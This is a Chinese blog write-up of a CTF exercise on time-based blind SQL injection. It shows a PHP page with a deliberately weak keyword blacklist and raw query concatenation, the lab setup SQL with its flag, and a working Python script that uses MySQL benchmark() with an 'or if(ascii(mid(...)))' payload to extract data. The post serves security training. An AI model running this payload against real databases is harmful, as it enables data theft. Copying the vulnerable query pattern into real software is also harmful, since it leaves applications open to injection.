【红日Day10-CTF】benchmark函数sql盲注

练习记录

复现代码:

index.php

<?php
include 'config.php';
function stophack($string){
    if(is_array($string)){
        foreach($string as $key => $val) {
            $string[$key] = stophack($val);
        }
    }
    else{
        $raw = $string;
        $replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
        $string = str_ireplace($replace, "HongRi", $string);
        $string = strip_tags($string);
        if($raw!=$string){
            error_log("Hacking attempt.");
            header('Location: /error/');
        }
        return trim($string);
    }
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
    $id = stophack($_GET['id']);
    $sql = "SELECT * FROM students WHERE id=$id";
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
        +----+---------+--------------------+-------+
        | id | name    | email              | score |
        +----+---------+--------------------+-------+
        |  {$row['id']} | {$row['name']}   | {$row['email']}   |   {$row['score']} |
        +----+---------+--------------------+-------+</center>
EOF;
    }
}
else die("你所查询的对象id值不能为空!");
?>

config.php

<?php  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day10";
?>
搭建CTF环境使用的sql语句
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );

INSERT INTO students VALUES(1,'Lucia','[email protected]',100);
INSERT INTO students VALUES(2,'Danny','[email protected]',59);
INSERT INTO students VALUES(3,'Alina','[email protected]',66);
INSERT INTO students VALUES(4,'Jameson','[email protected]',13);
INSERT INTO students VALUES(5,'Allie','[email protected]',88);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');

漏洞分析:

进入网站:

http://10.211.55.2:100/day10/?id=1

在这里插入图片描述
发现页面正常,可以进行操作了。

本次题目源于某CMS 0day漏洞改编。很明显可以看到在index.php代码 第27行 处进行了 SQL 语句拼接,然后直接带入数据库查询。而在前一行,其实是有对 GET 方式传来的参数 id 进行过滤的,我们来详细看看过滤函数 stophack

在这里插入图片描述
我们可以清楚的看到 stophack 函数存在 过滤不严 和 检测到非法字符未直接退出 两个问题。

程序如果检测到非法字符或单词,都会将其替换成字符串 HongRi ,然而并没有立即退出,这样攻击者输入的攻击语句还是会继续被带入数据库查询。只不过这里关键词都被替换成了字符串 HongRi ,所以我们需要绕过这里的黑名单
纵观整个程序,当 SQL 语句执行出错时,并不会将错误信息显示出来,所以此处应为盲注。开发者估计也是考虑到这个问题,便将关键词 sleep给过滤了,然而这并不能影响攻击者继续使用盲注来获取数据。关于禁用了 sleep函数的盲注,大家可以直接参考这篇文章:mysql 延时注入新思路 。这里我直接利用 benchmark函数来获取flag。
sql时间盲注另外两种方式(benchmark,heavy query)

python程序如下:

import sys, string, requests

version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
    for char in version_chars:
        payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
        url = "http://10.211.55.2:100/day10/?id=%s" % payload
        if char == '#':
            if(flag):
                sys.stdout.write("\n[+] The flag is: %s" % flag)
                sys.stdout.flush()
            else:
                print("[-] Something run error!")
            exit()
        try:
            r = requests.post(url=url, timeout=2.0)
        except Exception as e:
            flag += char
            sys.stdout.write("\r[-] Try to get flag: %s" % flag)
            sys.stdout.flush()
            break
print("[-] Something run error!")

结果:
在这里插入图片描述

发布了35 篇原创文章 · 获赞 19 · 访问量 5190

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/104011799